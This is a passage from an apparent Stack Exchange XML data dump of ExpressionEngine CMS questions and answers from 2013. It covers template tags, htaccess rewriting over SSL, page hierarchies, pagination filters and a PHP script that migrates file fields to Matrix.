count($pages[$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('site_id')]['uris']) == 0)&#xA;{&#xA;    return false;&#xA;}&#xA;&#xA;$pages = $pages[$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('site_id')]['uris'];&#xA;natcasesort($pages);&#xA;&#xA;$titles = array();&#xA;$entry_ids = array_keys($pages);&#xA;$entry_ids = implode(',', $entry_ids);&#xA;&#xA;$titles_q = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT entry_id, title FROM exp_channel_titles WHERE entry_id IN($entry_ids)&quot;);&#xA;if($titles_q-&amp;gt;num_rows() &amp;gt; 0)&#xA;{&#xA;    foreach($titles_q-&amp;gt;result_array() as $entry)&#xA;    {&#xA;        extract($entry);&#xA;        $titles[$entry_id] = $title;&#xA;    }&#xA;}&#xA;&#xA;print_r($pages);&#xA;print_r($titles);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this gives you two arrays, both with the entry_id as a key, and one with the URI as the value, and another with the Title as the value. From here you'll need to do some sorting, explode the URI values using a forward slash as a delimiter, and build a new array, etc. Lots of array juggling to build this with a proper hierarchy, and in the order you want it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, you want to end up with something like this (to pass to &lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pages = array(&#xA;    [0] =&amp;gt; array(&#xA;        'entry_id' =&amp;gt; XX,&#xA;        'title' =&amp;gt; 'About Us',&#xA;        'uri' =&amp;gt; '/about',&#xA;        'children' =&amp;gt; array(&#xA;            [0] =&amp;gt; array(&#xA;                'entry_id' =&amp;gt; XX,&#xA;                'title' =&amp;gt; 'Staff',&#xA;                'uri' =&amp;gt; '/about/staff'&#xA;            ),&#xA;            [1] =&amp;gt; array(&#xA;                'entry_id' =&amp;gt; XX,&#xA;                'title' =&amp;gt; 'History',&#xA;                'uri' =&amp;gt; '/about/history'&#xA;            ),&#xA;        )&#xA;    ),&#xA;    [1] =&amp;gt; array(&#xA;        'entry_id' =&amp;gt; XX,&#xA;        'title' =&amp;gt; 'Location',&#xA;        'uri' =&amp;gt; '/location',&#xA;        'children' =&amp;gt; ''&#xA;    )&#xA;    [2] =&amp;gt; array(&#xA;        'entry_id' =&amp;gt; XX,&#xA;        'title' =&amp;gt; 'Contact Us',&#xA;        'uri' =&amp;gt; '/contact',&#xA;        'children' =&amp;gt; ''    &#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-13T14:05:50.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6287" PostTypeId="2" ParentId="5965" CreationDate="2013-02-13T14:12:59.333" Score="1" Body="&lt;p&gt;In the end I found it was wrapped in a custom plugin which was taking the results directly from the exp_channel_data table. I'm not sure why EE suddenly decided to stop parsing filedir_3 but I added the following if statement into the code as a bit of a bodge and it's working fine now.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for($i=0;$i&amp;lt;$data_row_count;$i++) { // for every row&#xA;    ..SNIP...&#xA;    if (isset($vars['download_details']))&#xA;        $vars['download_details'] = str_replace('{filedir_3}','/uploads/',$vars['download_details']);&#xA;    $variables[]=$vars;&#xA;}&#xA;return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $variables) ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="961" LastActivityDate="2013-02-13T14:12:59.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6288" PostTypeId="2" ParentId="6263" CreationDate="2013-02-13T14:15:50.117" Score="4" Body="&lt;p&gt;That hook gives you all the data you need to query the database. &lt;code&gt;$meta&lt;/code&gt; will hold your &lt;code&gt;entry_id&lt;/code&gt;, &lt;code&gt;channel_id&lt;/code&gt;, &lt;code&gt;title&lt;/code&gt;, etc (anything that goes in &lt;code&gt;exp_channel_titles&lt;/code&gt;), and &lt;code&gt;$data&lt;/code&gt; holds your custom field data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just as an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!empty($meta['entry_id']))&#xA;{&#xA;    $current = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;&#xA;        SELECT * FROM exp_channel_data WHERE entry_id = {$meta['entry_id']} LIMIT 1&#xA;    &quot;);&#xA;    if($current-&amp;gt;num_rows() == 1)&#xA;    {&#xA;        if($data['field_id_1'] === $current-&amp;gt;row('field_id_1'))&#xA;        {&#xA;            // Data has not changed in field_id_1&#xA;         }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-13T14:15:50.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6289" PostTypeId="1" AcceptedAnswerId="6291" CreationDate="2013-02-13T14:30:58.930" Score="0" ViewCount="55" Body="&lt;p&gt;The footer of my site needs to pull through the 6 most recent Case Studies. Here is the code, embedded in a template file for the footer of the site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Case Studies&amp;lt;/strong&amp;gt;&amp;lt;/li&amp;gt;&#xA;{exp:channel:entries channel=&quot;case_studies&quot; limit=&quot;6&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path=&quot;case_studies/case_study/{url_title}&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nice and simple, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works perfectly on my homepage and under &lt;em&gt;some&lt;/em&gt; URLs, but not all of them. For example, when I visit &lt;a href=&quot;http://example.com/about/latest_news&quot; rel=&quot;nofollow&quot;&gt;http://example.com/about/latest_news&lt;/a&gt; it will appear, as will &lt;a href=&quot;http://example.com/press_articles/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/press_articles/&lt;/a&gt; - but &lt;a href=&quot;http://example.com/services&quot; rel=&quot;nofollow&quot;&gt;http://example.com/services&lt;/a&gt; doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything obvious setting or reason for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2013-02-13T14:35:40.117" Title="Channel Entries pulled through to a site footer" Tags="|channel-entries|templates|channel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6290" PostTypeId="2" ParentId="6289" CreationDate="2013-02-13T14:35:31.647" Score="1" Body="&lt;p&gt;This is easy: You need &lt;code&gt;dynamic=&quot;off&quot;&lt;/code&gt; on your &lt;code&gt;exp:channel:entries&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE automatically filters entries based on the URL, expecting that to contain entry IDs or URL Titles.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-13T14:35:31.647" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6291" PostTypeId="2" ParentId="6289" CreationDate="2013-02-13T14:35:40.117" Score="4" Body="&lt;p&gt;Yep, add &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; parameter to the &lt;code&gt;channel:entries&lt;/code&gt; tag :)&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-02-13T14:35:40.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6292" PostTypeId="1" AcceptedAnswerId="6293" CreationDate="2013-02-13T14:48:12.883" Score="4" ViewCount="722" Body="&lt;p&gt;I've got three custom dropdown fields - town, county, and region in a SafeCracker form. The client is asking if it's possible for them to just select one value (in the town dropdown field), and for the other two to pre-populate with the correct county and region. I do have a spreadsheet of town names that has the region and county for each town.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched for add-ons that might do this but haven't managed to find any, so just wondering if there are any recommendations on how to go about doing this in a SafeCracker form? I'm not even sure what fields I'm best using, or whether this needs to be done outside of EE completely? Thanks in advance for any advice on this.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-02-13T15:26:33.023" Title="How to automatically populate fields based on the value in another field" Tags="|safecracker|pre-populate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6293" PostTypeId="2" ParentId="6292" CreationDate="2013-02-13T14:54:14.903" Score="4" Body="&lt;p&gt;Typically you'll do this sort of thing by writing some jQuery code and storing that in the &lt;code&gt;Instructions&lt;/code&gt; field of one of your field's definitions. That field supports HTML, so anything inside a &lt;code&gt;&amp;lt;script/&amp;gt;&lt;/code&gt; tag will run when the page runs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then set up an onchange event handler that updates the other fields when the primary field is changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this flexible, I'd recommend creating channels for your towns, regions and counties. That way they can be maintained by the client. You can use AJAX to query the database (using a custom template as the AJAX URL), so that when a town is selected, it finds the corresponding county &amp;amp; region in the database, and updates the corresponding fields accordingly.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-13T14:54:14.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6294" PostTypeId="2" ParentId="6292" CreationDate="2013-02-13T15:26:33.023" Score="3" Body="&lt;p&gt;Since you only want to let your visitors choose the town, and you already know which region and county each town belongs to, why not make the &quot;towns&quot; field a Relationship or Playa field, and relate it to a &quot;Towns&quot; channel, which has the Region and County data stored there as channel fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user never needs to see this additional (Region, County) info on the front-end (so no javascript or AJAX required), but the data is there for use in your templates and by your client.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-13T15:26:33.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6295" PostTypeId="1" AcceptedAnswerId="6348" CreationDate="2013-02-13T15:30:54.057" Score="2" ViewCount="525" Body="&lt;p&gt;I have a problem with my EE installation. When I try to browse any page (other than the homepage) over SSL i get a 404 error. The whole site works fine over HTTP. Its only when accessing via HTTPS this issue occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My HTACCESS file looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;# Removes index.php&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;# If 404s, &quot;No Input File&quot; or every URL returns the same thing&#xA;# make it /index.php?/$1 above (add the question mark)&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried adding the ? in as per the comment on the last couple of rows, but to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the problem is my HTACCESS file, in particular the section that removes the index.php from the URL. If i add the index.php back into the URL then all my pages do work again under SSL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://mysite.com/store/checkout **does not work**&#xA;https://mysite.com/index.php?/store/checkout **DOES work**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not enough of an htaccess expert to know how to resolve this. Any advise much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="785" LastEditorUserId="28" LastEditDate="2013-03-10T18:28:42.300" LastActivityDate="2013-03-10T18:28:42.300" Title="ExpressionEngine over SSL - HTACCESS ISSUE" Tags="|htaccess|ssl|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6297" PostTypeId="2" ParentId="5965" CreationDate="2013-02-13T16:14:22.013" Score="4" Body="&lt;p&gt;Just wanted to mention that &lt;a href=&quot;https://github.com/rsanchez/parse_file_paths&quot; rel=&quot;nofollow&quot;&gt;parse file paths by Rob Sanchez&lt;/a&gt; will parse &lt;code&gt;{filedir_X}&lt;/code&gt; variables. Usage below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:parse_file_paths}&#xA;    {filedir_X}&#xA;{/exp:parse_file_paths}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be used with query module, activerecord plugin, and any other add-on that outputs raw channel data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your problem was that a plugin was outputting raw results from the DB, it looks like it would be the perfect fit and would allow you to get rid of that PHP code&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="343" LastEditDate="2015-01-26T21:05:35.280" LastActivityDate="2015-01-26T21:05:35.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6299" PostTypeId="1" CreationDate="2013-02-13T17:02:32.860" Score="0" ViewCount="95" Body="&lt;p&gt;I was wondering if there is a way to set a session variable (using Session Variables Plugin) and then when a user completes an input field (promo code), the field compares the input against the session variable to either allow a user onto another page or to rejects them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="311" LastActivityDate="2013-03-16T21:43:12.217" Title="Comparing session variable against an input field" Tags="|ee2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6301" PostTypeId="1" AcceptedAnswerId="6303" CreationDate="2013-02-13T17:11:19.250" Score="3" ViewCount="452" Body="&lt;p&gt;I have a gallery on each of my single entry pages, that includes image files uploaded by my users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to automatically change the filenames of these images upon upload? Something like &lt;code&gt;IMG1074.jpg&lt;/code&gt; to &lt;code&gt;entry_title_001.jpg&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm outputting the images via CE image, and I have tried the &lt;code&gt;filename=&lt;/code&gt; parameter, but that renames all the images within the gallery to the same filename.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-02-13T18:30:24.680" Title="Renaming image files upon upload.. Channel Images?" Tags="|file-uploads|image|channel-images|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6302" PostTypeId="2" ParentId="6252" CreationDate="2013-02-13T17:16:45.617" Score="1" Body="&lt;p&gt;So after poking through the module's code I was able to narrow it down to being a DB issue. For whatever reason, there was no row for the member in the &lt;code&gt;exp_member_data&lt;/code&gt; table. I have no idea why it wasn't there, but adding it in did the trick (super simple since that table has only one column).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any idea why the member ID wouldn't be in that table, I'd love to hear it. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2013-02-13T17:16:45.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6303" PostTypeId="2" ParentId="6301" CreationDate="2013-02-13T17:46:56.097" Score="3" Body="&lt;p&gt;If there's something unique per-image &lt;a href=&quot;http://www.devdemon.com/docs/channel_images/tags/images.html#variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the Channel Images output&lt;/a&gt; (assuming your gallery is just a dump of all images assigned to the field), you should be able to append that unique value to your &lt;code&gt;entry_title&lt;/code&gt;, right?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filename=&quot;{url_title}_{image:id}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not something I've done, but I'm assuming you can do more with the &lt;code&gt;filename&lt;/code&gt; parameter to make those filenames unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this solution was successfully applied in this question: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5875/293&quot;&gt;Renaming image file names&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-02-13T17:59:22.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6304" PostTypeId="1" AcceptedAnswerId="6306" CreationDate="2013-02-13T17:47:20.103" Score="3" ViewCount="100" Body="&lt;p&gt;I am filtering a list of entries using an {if…} conditional, but the exp:entries tag outputs the count for the total number of entries before the conditional is applied. And as I am using pagination I end up with a wrong number of pages. Does anyone know if there is an easy way to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {exp:user:users group_id=&quot;9|10|11&quot; orderby=&quot;lastname&quot; sort=&quot;asc&quot; limit=&quot;300&quot; paginate=&quot;bottom&quot; }&#xA;&#xA;    {if location_area ==&quot;{segment_3}&quot;}&#xA;     {title}&#xA;    {/if}&#xA;&#xA;{user_paginate}&#xA;Page {user_current_page} of {user_total_pages} &amp;amp;nbsp; {user_pagination_links}&#xA;{/user_paginate}&#xA;&#xA;{/exp:user:users}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see I'm using the Solspace User addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrew&lt;/p&gt;&#xA;" OwnerUserId="994" LastEditorUserId="150" LastEditDate="2013-02-14T09:30:51.730" LastActivityDate="2013-02-14T09:30:51.730" Title="Using pagination with filtered entries" Tags="|conditionals|pagination|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6305" PostTypeId="1" AcceptedAnswerId="6311" CreationDate="2013-02-13T17:49:25.183" Score="1" ViewCount="61" Body="&lt;p&gt;I've got an old EE1 site that I'm doing some minor updates to but I'm finding that it is very aggressively caching embedded templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that when I make a change it doesn't appear on the site until I clear the Template (page) Cache in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting somewhere to restrict this behaviour?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-02-13T19:43:48.577" Title="Agressive template caching in EE1" Tags="|templates|ee1|embeds|caching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6306" PostTypeId="2" ParentId="6304" CreationDate="2013-02-13T17:51:55.717" Score="3" Body="&lt;p&gt;You'll want to change your conditional to be a &lt;a href=&quot;http://www.solspace.com/docs/user/users/#search&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;search&lt;/code&gt; parameter filter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:users ... search:location_area=&quot;{segment_3}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-13T17:51:55.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6308" PostTypeId="1" AcceptedAnswerId="6322" CreationDate="2013-02-13T18:43:38.857" Score="1" ViewCount="58" Body="&lt;p&gt;I copied my comment forms directly from my blog posts so I can use them also for comments on trainer pages but the same code that was working before wont work with my new channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://d.pr/VZvn&quot; rel=&quot;nofollow&quot;&gt;Link to example (droplr)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I'm forgetting to get this to work? If I remove the channel variable from both, nothing will change with the comment:entries, but comment:form will display.  I can't seem to get these to display with the &lt;strong&gt;personal_trainer_directory&lt;/strong&gt; channel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://d.pr/sYS1&quot; rel=&quot;nofollow&quot;&gt;Current Channel Settings&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="941" LastEditorUserId="941" LastEditDate="2013-02-13T22:28:23.230" LastActivityDate="2013-02-13T23:33:51.993" Title="Comment Wont Appear" Tags="|channel-entries|comments|comment-form|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6309" PostTypeId="2" ParentId="6308" CreationDate="2013-02-13T19:21:22.477" Score="0" Body="&lt;p&gt;Joe,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to make sure that comments are on for that channel, and that you're visiting that page as a Single Entry page.  That is, where the URL contains either the Entry ID or URL Title of an entry that allows comments.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-13T19:21:22.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6310" PostTypeId="2" ParentId="6265" CreationDate="2013-02-13T19:31:25.593" Score="3" Body="&lt;p&gt;All credit goes to Brandon. I searched and found this &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/upgrading_file_field_into_ee2&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;thread&lt;/strong&gt;&lt;/a&gt; last night which was ultimately the solution. I'll post the script below as that thread was a little confusing to follow until they got it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to convert all MH File fields to a Matrix field first. Then run the script below.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Make sure to replace XX with your Matrix field ID, YY with your File&#xA;  column ID, and ZZ with your file upload directory ID.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    // Converts Mark Huot's File Field with multiple images to a Matrix column&#xA;    mysql_connect(&quot;localhost&quot;, &quot;db_username&quot;, &quot;db_password&quot;) or die(mysql_error());&#xA;    mysql_select_db(&quot;database_name&quot;) or die(mysql_error());&#xA;&#xA;    $query = mysql_query('SELECT site_id, entry_id, field_id_XX FROM exp_channel_data WHERE field_id_XX IS NOT NULL');&#xA;    while ($row = mysql_fetch_assoc($query)) {&#xA;&#xA;        // get the file names&#xA;        $files = array_filter(preg_split('/[\r\n]/', $row['field_id_XX']));&#xA;&#xA;        // add them to exp_matrix_data&#xA;        foreach ($files as $i =&amp;gt; $file) {&#xA;&#xA;            mysql_query('INSERT INTO exp_matrix_data (site_id, entry_id, field_id, row_order, col_id_YY)&#xA;            VALUES ('.$row['site_id'].', '.$row['entry_id'].', XX, '.$i.', &quot;{filedir_ZZ}'.$file.'&quot;)');&#xA;        }&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-02-13T19:31:25.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6311" PostTypeId="2" ParentId="6305" CreationDate="2013-02-13T19:43:48.577" Score="2" Body="&lt;p&gt;It sounds like some of those templates have cache enabled? Did you check the template preferences?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;Templates &gt; Choose Template Group &gt; Click Preferences &gt; Here you can adjust template settings&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-02-13T19:43:48.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6312" PostTypeId="1" CreationDate="2013-02-13T19:51:13.703" Score="3" ViewCount="797" Body="&lt;p&gt;Is it possible to show / hide certain form fields on an entry page depending on whether or not, say a checkbox is selected? Hoping for an add-in that can handle this.&lt;/p&gt;&#xA;" OwnerUserId="436" LastEditorUserId="293" LastEditDate="2013-02-13T20:11:30.583" LastActivityDate="2013-02-13T20:29:24.943" Title="Conditional display of fields in CP entry screen, based on other fields' value/state" Tags="|add-on|conditionals|entry|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6313" PostTypeId="1" CreationDate="2013-02-13T19:52:04.170" Score="1" ViewCount="610" Body="&lt;p&gt;I'm trying to create a form which passes field values over multiple pages. The first part is in the footer of the website, which, when filled out, should take you to an expanded version of the same form (with added fields), filling out whichever fields were submitted through the first form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I need to do this in two separate form tags (one which exists in my footer template, another for my form page), but all of the examples I've seen have all form &quot;pages&quot; in one tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. &lt;a href=&quot;http://www.solspace.com/docs/freeform/form#multipage_surveys&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form#multipage_surveys&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know if it's possible to do the above, but not within the same form tag?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2013-02-15T22:32:07.217" Title="How to create a Freeform multipage form inside of two separate form tags?" Tags="|forms|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6314" PostTypeId="2" ParentId="6312" CreationDate="2013-02-13T20:04:41.223" Score="1" Body="&lt;p&gt;This has been covered &lt;a href=&quot;https://expressionengine.stackexchange.com/a/6293/293&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5807/293&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure that it's similar enough to those to be a duplicate, as they specifically sought to change other fields values, or show/hide fields based on entry ID, but the same technique is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can story jQuery/JavaScript in the Instructions field for one of your fields. That will render HTML, including the contents of a &lt;code&gt;&amp;lt;script/&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that &lt;code&gt;&amp;lt;script/&amp;gt;&lt;/code&gt; tag, you can use jQuery to show/hide the other field based on the value of the checkbox field and an onchange event.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-02-13T20:04:41.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6315" PostTypeId="2" ParentId="6312" CreationDate="2013-02-13T20:15:42.187" Score="2" Body="&lt;p&gt;Since you're only concerned with showing/hiding fields based on user choice, the &lt;a href=&quot;http://devot-ee.com/add-ons/entry-type&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Entry Type&lt;/strong&gt;&lt;/a&gt; add-on would do the trick. It is &quot;a dropdown fieldtype that shows/hides other fields on the publish page&quot; based on the chosen option.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-02-13T20:29:24.943" LastActivityDate="2013-02-13T20:29:24.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6316" PostTypeId="2" ParentId="6313" CreationDate="2013-02-13T20:34:19.103" Score="1" Body="&lt;p&gt;It looks like the Solspace example is submitting the form to itself, and revealing different chunks with each submit. If you wanted to start the form in the footer, you'd have to have the first chunk there, and then each subsequent chunk would be revealed in the same spot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to tackle your goal with something concise that will only send the email when the form is completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use Safecracker. The first form page would have enough to get the entry started, and you could use hidden input fields to reference the entry on each subsequent page. You'd be creating an entry with a bunch of fields left incomplete, and then editing the entry on each subsequent page, revealing different chunks of fields to fill in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5912/293&quot;&gt;use a post-processor template or Postmaster&lt;/a&gt; to send notifications when the entry is complete. The post-processor template might give you more control over that, as Postmaster relies on triggers, such as a new channel entry.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-02-13T20:34:19.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6317" PostTypeId="2" ParentId="6204" CreationDate="2013-02-13T20:41:00.130" Score="0" Body="&lt;p&gt;Also don't forget that if you have a Playa field that is looking at channel(s) with a lot of entries, it may cause significant performance issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try reducing the overall number of options/entries from the default &quot;ALL&quot; to a lesser number, starting with 1,000 and go lower if issues continue.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-13T20:41:00.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6319" PostTypeId="2" ParentId="5068" CreationDate="2013-02-13T21:13:15.857" Score="0" Body="&lt;p&gt;I had this issue. I &lt;strong&gt;think&lt;/strong&gt; I managed to fix it by disabling javascript on my browser to stop the &quot;ajax=yes&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I also switched back and forth between two browsers and cleared my page cache repeatedly. It was a bit of a process. :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try seeing if disabling javascript fixes the issue first since that was my last step. This can be quickly enabled/disabled using the web developer extension. See: &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/web-developer/?redirectlocale=en-US&amp;amp;redirectslug=Web_Developer_Extension&quot; rel=&quot;nofollow&quot;&gt;Web developer firefox&lt;/a&gt; or &lt;a href=&quot;https://chrome.google.com/webstore/detail/web-developer/bfbameneiokkgbdmiekhjnmfkcnldhhm?hl=en&quot; 